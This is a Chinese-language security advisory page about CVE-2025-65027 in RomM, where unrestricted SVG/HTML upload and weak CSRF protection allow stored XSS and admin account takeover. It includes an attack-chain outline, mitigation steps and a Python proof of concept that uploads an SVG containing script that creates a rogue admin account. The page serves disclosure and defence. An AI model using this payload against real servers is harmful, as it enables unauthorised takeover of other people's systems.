IPBUF安全漏洞报告
English
CVE-2025-65027 CVSS 7.6 高危

CVE-2025-65027 RomM 未限制文件上传导致存储型XSS与账户接管漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-65027
漏洞类型
存储型XSS、CSRF、未限制文件上传、账户劫持
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
RomM (ROM Manager)

相关标签

CVE-2025-65027RomM存储型XSS未限制文件上传CSRF账户接管SVG注入HTML注入高危漏洞RomM 4.4.1以下版本

漏洞概述

RomM是一款开源的ROM(游戏 ROM)管理应用程序,允许用户扫描、丰富、浏览和管理他们的游戏收藏库,并提供清晰、响应式的用户界面。该应用存在多个未限制文件上传漏洞,允许已认证用户上传恶意的 SVG 或 HTML 文件。当这些恶意文件被访问时,浏览器会执行其中嵌入的 JavaScript 代码,导致存储型跨站脚本攻击(Stored XSS)。结合 CSRF 配置错误,攻击者可以最终实现完整的 administrative 账户接管,包括创建恶意管理员账户、将攻击者账户权限提升为管理员,甚至执行更多恶意操作。此漏洞已在版本 4.4.1 和 4.4.1-beta.2 中修复。CVSS 评分 7.6,属于高危漏洞。攻击向量为网络层面,需要低权限认证和用户交互,但一旦利用成功,对系统完整性和可用性造成严重影响。

技术细节

该漏洞的核心问题在于 RomM 的文件上传功能缺乏充分的输入验证和内容安全控制。具体而言:

1. 未限制文件上传:应用允许认证用户上传任意文件类型的 SVG 或 HTML 文件,而未对其进行严格的类型检查和内容过滤。

2. 存储型 XSS:上传的恶意 SVG/HTML 文件会被存储在服务器上,当其他用户访问这些文件时,浏览器会解析并执行其中嵌入的 JavaScript 代码。SVG 文件支持内联 JavaScript(<script> 标签或事件处理器如 onload),HTML 文件同样可以包含恶意脚本。

3. CSRF 配合利用:应用存在的 CSRF 防护缺陷使得攻击者可以通过 XSS 漏洞诱导管理员执行未授权操作,例如创建新管理员账户或修改现有账户权限。

4. 攻击链:攻击者首先以低权限账户登录,上传包含恶意 JavaScript 的 SVG/HTML 文件;然后诱使管理员访问该文件,从而在管理员会话中执行任意 JavaScript;最后利用 CSRF 漏洞通过该 JavaScript 创建管理员账户或将自身权限提升为管理员。

修复方案包括升级到 4.4.1 或 4.4.1-beta.2 版本,并确保文件上传功能实施严格的文件类型白名单、内容类型验证和脚本执行隔离机制。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标 RomM 实例并注册低权限账户
STEP 2
步骤2
上传恶意文件:利用未限制文件上传漏洞,上传包含恶意 JavaScript 的 SVG 或 HTML 文件到服务器
STEP 3
步骤3
诱导访问:攻击者通过社会工程或其他方式诱使管理员访问该恶意文件
STEP 4
步骤4
XSS 执行:当管理员访问恶意文件时,浏览器执行嵌入的 JavaScript 代码,窃取管理员会话 Cookie 或执行任意操作
STEP 5
步骤5
CSRF 利用:利用应用存在的 CSRF 防护缺陷,通过 XSS 执行的 JavaScript 向后端 API 发送请求,创建恶意管理员账户或将攻击者账户权限提升为管理员
STEP 6
步骤6
账户接管:攻击者成功获取管理员权限,可完全控制 RomM 系统,执行任意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65027 PoC - Malicious SVG file upload for Stored XSS # Target: RomM < 4.4.1 TARGET_URL = "http://target-romm-server.com" USERNAME = "attacker" PASSWORD = "password123" # Step 1: Login to get authentication token def login(): session = requests.Session() login_url = f"{TARGET_URL}/api/auth/login" data = {"username": USERNAME, "password": PASSWORD} resp = session.post(login_url, json=data) return session, resp.json().get("access_token") # Step 2: Upload malicious SVG file with XSS payload def upload_malicious_svg(session, token): upload_url = f"{TARGET_URL}/api/upload" headers = {"Authorization": f"Bearer {token}"} # Malicious SVG with XSS payload malicious_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script><![CDATA[ // Steal admin session and create rogue admin fetch('/api/admin/users', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ username: 'rogue_admin', password: 'P@ssw0rd123!', role: 'admin' }) }); ]]></script> <rect width="100" height="100" fill="red"/> </svg>''' files = {'file': ('malicious.svg', malicious_svg, 'image/svg+xml')} resp = session.post(upload_url, headers=headers, files=files) return resp.json() # Step 3: Trigger XSS by accessing the uploaded file def trigger_xss(session, file_path): access_url = f"{TARGET_URL}{file_path}" session.get(access_url) return True if __name__ == "__main__": print("CVE-2025-65027 PoC - RomM Unrestricted File Upload leading to Stored XSS") session, token = login() if token: print(f"[+] Login successful, token obtained") result = upload_malicious_svg(session, token) print(f"[+] Malicious SVG uploaded: {result}") # In real attack, social engineer admin to access the file print("[*] Wait for admin to access the file to trigger XSS")

影响范围

RomM < 4.4.1
RomM < 4.4.1-beta.2

防御指南

临时缓解措施
立即将 RomM 升级到 4.4.1 或 4.4.1-beta.2 版本以修复漏洞。如无法立即升级,可临时采取以下措施:限制文件上传功能仅对可信用户开放;实施严格的 MIME 类型和文件扩展名验证;对 SVG 和 HTML 文件内容进行清理,移除所有脚本标签和事件处理器;启用 SameSite Cookie 属性;增加文件上传的速率限制和异常检测机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表